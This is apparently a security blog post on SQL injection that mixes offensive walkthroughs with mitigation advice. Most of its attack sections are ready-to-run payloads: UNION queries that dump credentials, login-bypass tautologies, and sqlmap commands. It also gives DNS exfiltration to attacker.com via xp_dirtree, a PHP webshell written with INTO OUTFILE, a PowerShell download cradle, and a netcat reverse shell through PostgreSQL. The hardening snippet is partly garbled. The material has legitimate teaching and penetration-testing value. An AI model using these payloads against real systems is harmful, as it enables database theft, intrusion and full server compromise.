Listen to this Post

Introduction:
Despite two decades of defensive coding practices, SQL Injection (SQLi) remains one of the most dangerous and prevalent vulnerabilities in modern web applications. Attackers can leverage improperly sanitized user inputs to leak sensitive data, bypass authentication, and even gain remote code execution (RCE) on the underlying database server. This article walks through real-world exploitation techniques, from classic UNION-based data exfiltration to advanced out-of-band (OOB) and RCE vectors, equipping you with both offensive and defensive insights.
Learning Objectives:
- Understand how to manually detect and exploit SQLi vulnerabilities across different database backends (MySQL, MSSQL, PostgreSQL).
- Learn advanced techniques including stacked queries, out-of-band exfiltration, and achieving RCE via `INTO OUTFILE` or
xp_cmdshell. - Apply mitigation strategies such as parameterized queries, least-privilege database accounts, and Web Application Firewall (WAF) bypass patterns.
You Should Know:
1. Manual Detection & UNION-Based Data Exfiltration
The first step in any SQLi test is confirming the vulnerability. Inject a single quote (') or a logical payload like `’ OR ‘1’=’1` to trigger an error or an unexpected login. Once confirmed, determine the number of columns using `ORDER BY` or `UNION SELECT NULL` sequences.
Step‑by‑step guide (MySQL/MariaDB):
- Inject `’ ORDER BY 10– -` and adjust the number until an error is returned.
- Replace with `’ UNION SELECT NULL,NULL,NULL– -` to find the correct column count.
- Extract database version: `’ UNION SELECT @@version, NULL, NULL– -`
– Retrieve table names frominformation_schema.tables:' UNION SELECT table_name, NULL, NULL FROM information_schema.tables WHERE table_schema=database()-- -
- Dump credentials: `’ UNION SELECT username, password, NULL FROM users– -`
Linux/Windows command tip: Use `sqlmap` to automate the process:
sqlmap -u "http://target.com/page?id=1" --dbs --batch sqlmap -u "http://target.com/page?id=1" -D database_name --tables --dump
- Bypassing Authentication with Tautologies and Time-Based Blind SQLi
When no data is echoed back, blind SQLi techniques allow extraction one character at a time. Use conditional delays to infer boolean results.
Step‑by‑step for time‑based blind (MySQL):
- Inject a delay condition: `’ AND SLEEP(5)– -` – if the response takes 5 seconds, the injection works.
- Extract first character of database name:
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -
- Automate with
sqlmap:sqlmap -u "http://target.com/page?id=1" --technique=T --time-sec=5 --dbs
Bypassing login forms:
Inject into username field:
admin' OR '1'='1'-- - admin' OR 1=1; --
If the backend uses vulnerable SELECT FROM users WHERE username = '$user' AND password = '$pass', these payloads dump the first user (often admin).
3. Out-of-Band (OOB) Exfiltration for Firewalled Environments
When DNS or HTTP requests can be triggered from the database, OOB techniques exfiltrate data without needing visible output. This works even when time‑based techniques are blocked.
Step‑by‑step (MSSQL with `xp_dirtree`):
- Leverage `xp_dirtree` to make DNS requests:
'; DECLARE @h VARCHAR(8000); SELECT @h = (SELECT TOP 1 name FROM sysobjects FOR XML PATH('')); EXEC master..xp_dirtree '\' + @h + '.attacker.com\share'-- - On Linux (MySQL with `LOAD_FILE` or `SELECT … INTO OUTFILE` is less reliable for OOB, but MySQL supports DNS via `SELECT LOAD_FILE(CONCAT(‘\\\\’, version(), ‘.attacker.com\\test’))` only on Windows).
- Use `dig` or `nslookup` to capture the exfiltrated data at your DNS server.
Tooling: Use `Burp Collaborator` or a custom DNS server to receive stolen data.
- Achieving Remote Code Execution (RCE) via SQL Injection
SQLi can lead to full server compromise through multiple vectors. The most common methods:
Method A: MySQL `INTO OUTFILE` (requires file write privileges and knowledge of web root)
' UNION SELECT "<?php system($_GET['cmd']); ?>", NULL, NULL INTO OUTFILE "/var/www/html/shell.php"-- -
Then access `http://target.com/shell.php?cmd=id`
Step‑by‑step preparation:
- Find the web root by reading Apache config or using error messages.
- Ensure `secure_file_priv` is empty or points to a writable directory:
SHOW VARIABLES LIKE "secure_file_priv";
3. Write the webshell and confirm with `curl`.
Method B: MSSQL `xp_cmdshell`
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami > C:\temp\out.txt';
Use stacked queries if the injection point supports multiple statements (e.g., '; EXEC xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString("http://attacker/reverse.ps1")'-- -).
Method C: PostgreSQL COPY to program
CREATE TABLE cmd (output text); COPY cmd FROM PROGRAM 'nc -e /bin/sh attacker.com 4444';
5. API Security & SQLi in GraphQL/REST Endpoints
SQL injection is not limited to traditional web forms. Modern APIs often pass JSON parameters directly into SQL statements.
Example vulnerable GraphQL resolver (Node.js + raw SQL):
query { user(id: "1' OR '1'='1") { name } }
Backend concatenates: `SELECT FROM users WHERE id = ‘` + id + `’`
Step‑by‑step test for API endpoints:
- Intercept API requests with Burp Suite.
- Replace every parameter (JSON keys, values, even HTTP headers) with a payload like
' OR SLEEP(5)-- -. - Monitor response times. A 5‑second delay indicates blind SQLi.
Cloud hardening: Always use parameterized queries (prepared statements) or stored procedures. Never trust client‑side input, even from authenticated JWTs.
6. Mitigation & Hardening Commands (Linux/Windows)
Defenders must eliminate SQLi at the code and infrastructure levels.
Linux – Use prepared statements in PHP (PDO):
$stmt = $pdo->prepare('SELECT FROM users WHERE id = :id');
$stmt->execute(['id' => $_GET['id']]);
Windows – Configure IIS & MSSQL least privilege:
Create low-privilege SQL login CREATE LOGIN webapp WITH PASSWORD = 'strong', DEFAULT_DATABASE = appdb; ALTER SERVER ROLE [bash] ADD MEMBER webapp; REVOKE VIEW ANY DATABASE TO webapp;
WAF bypass awareness (for red teaming): Use obfuscation like inline comments, case variation, and URL encoding:
/!50000OR/ '1'='1 %27%20%4F%72%20%27%31%27%3D%27%31
What Undercode Say:
- Key Takeaway 1: SQL injection is far from dead – modern applications still ship concatenated queries, especially in JSON APIs, GraphQL resolvers, and legacy code. Attackers should master manual techniques before relying on tools, as WAFs and IDS easily detect `sqlmap` patterns.
- Key Takeaway 2: Achieving RCE via SQLi is often a two‑step process: first, fingerprint the database version and privileges; second, choose the appropriate technique (
INTO OUTFILE,xp_cmdshell, or program execution). Defenders must apply the principle of least privilege and disable dangerous stored procedures.
Analysis (10 lines): The persistence of SQLi stems from developer overconfidence in ORMs and input validation. While parameterized queries are a silver bullet, they are frequently bypassed by dynamic `LIKE` clauses, `IN` operators, and table/column name building. Our examples demonstrate that even blind, time‑based injections can exfiltrate entire databases given enough time. Cloud environments (RDS, Aurora) are not immune – misconfigured IAM roles may allow `SELECT INTO OUTFILE` to S3 buckets. Red teams should always test for stacked queries, as they enable RCE in MSSQL and PostgreSQL with minimal friction. Blue teams must monitor for abnormal DNS lookups (OOB exfiltration) and unexpected file writes. Ultimately, the battle is not technical but cultural: code reviews must flag any string concatenation in SQL generation as a critical finding.
Prediction:
Within the next 18 months, AI‑driven code generation (e.g., GitHub Copilot, Amazon CodeWhisperer) will either drastically reduce or inadvertently amplify SQL injection rates. If training data includes insecure examples, LLMs may suggest vulnerable patterns. Meanwhile, attackers will increasingly target GraphQL APIs and serverless functions where developers mistakenly assume “cold starts” or ephemeral storage block traditional exploitation – but RCE via `COPY TO PROGRAM` in PostgreSQL or user‑defined functions in MySQL will still work. Expect a rise in automated OOB scanners that use DNS over HTTPS (DoH) to exfiltrate data without triggering classic network alerts. Defenders must embed static analysis in CI/CD pipelines and mandate prepared statements, not as a best practice, but as a hard requirement.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sql Injections – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


